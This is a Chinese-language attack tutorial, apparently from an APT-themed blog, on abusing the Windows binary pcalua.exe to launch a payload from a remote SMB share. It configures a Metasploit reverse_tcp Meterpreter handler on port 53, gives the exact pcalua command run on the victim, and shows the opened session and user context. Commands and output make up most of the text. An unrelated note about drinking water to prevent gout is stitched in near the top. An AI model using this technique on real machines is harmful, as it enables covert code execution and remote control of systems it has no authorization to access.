

专注APT攻击与防御

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注：请多喝点热水或者凉白开，可预防肾结石，通风等。

痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。

Pcalua简介：

Windows进程兼容性助理(Program Compatibility Assistant)的一个组件。

说明：Pcalua.exe所在路径已被系统添加PATH环境变量中，因此，Pcalua命令可识别

Windows 7 默认位置：

C:\Windows\System32\pcalua.exe

攻击机：192.168.1.4 Debian

靶机：192.168.1.5 Windows 7

配置攻击机msf：

```
1 msf exploit(multi/handler) > show options
2
3 Module options (exploit/multi/handler):
4
5   Name  Current  Setting  Required  Description
6   ----  -----  -----  -----
7
8
9 Payload options (windows/meterpreter/reverse_tcp):
10
11  Name  Current  Setting  Required  Description
12  ----  -----  -----  -----
13  EXITFUNC  process yes  Exit  technique (Accepted: ., seh, thread, process, none)
14  LHOST 192.168.1.4 yes  The listen address (an interface may be specified)
15  LPORT 53 yes  The listen port
```

```
16
17
18 Exploit target:
19
20   Id Name
21   -- -----
22 0 Wildcard Target
23
24
25 msf exploit(multi/handler) > exploit
26
27 [*] Started reverse TCP handler on 192.168.1.4:53
28
```

```
msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name  Current Setting  Required  Description
----  -----  -----  -----
Payload options (windows/meterpreter/reverse_tcp):
Name  Current Setting  Required  Description
----  -----  -----  -----
EXITFUNC process      yes        Exit technique (Accepted: '', seh, thread, process, none)
LHOST  192.168.1.4    yes        The listen address (an interface may be specified)
LPORT  53              yes        The listen port

Exploit target:
Id  Name
--  --
0  Wildcard Target

msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
```

靶机执行：

```
Pcalua -m -a \\192.168.1.119\share\rev_x86_53_exe.exe
```

```
C:\Users\John>Pcalua -m -a \\192.168.1.119\share\rev_x86_53_exe.exe
```

```
1 msf exploit(multi/handler) > exploit
2
3 [*] Started reverse TCP handler on 192.168.1.4:53
```

```
4 [*] Sending stage (179779 bytes) to 192.168.1.5
5 [*] Meterpreter session 23 opened (192.168.1.4:53 ->
192.168.1.5:11349) at 2019-01-20 09:25:01 -0500
6
7 meterpreter > getuid
8 Server username: John-PC\John
9 meterpreter > getpid
10 Current pid: 11236
11 meterpreter >
12
```

```
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (179779 bytes) to 192.168.1.5
[*] Meterpreter session 23 opened (192.168.1.4:53 -> 192.168.1.5:11349) at 2019-01-20 09:25:01 -0500
meterpreter > getuid
Server username: John-PC\John
meterpreter > getpid
Current pid: 11236
meterpreter >
```

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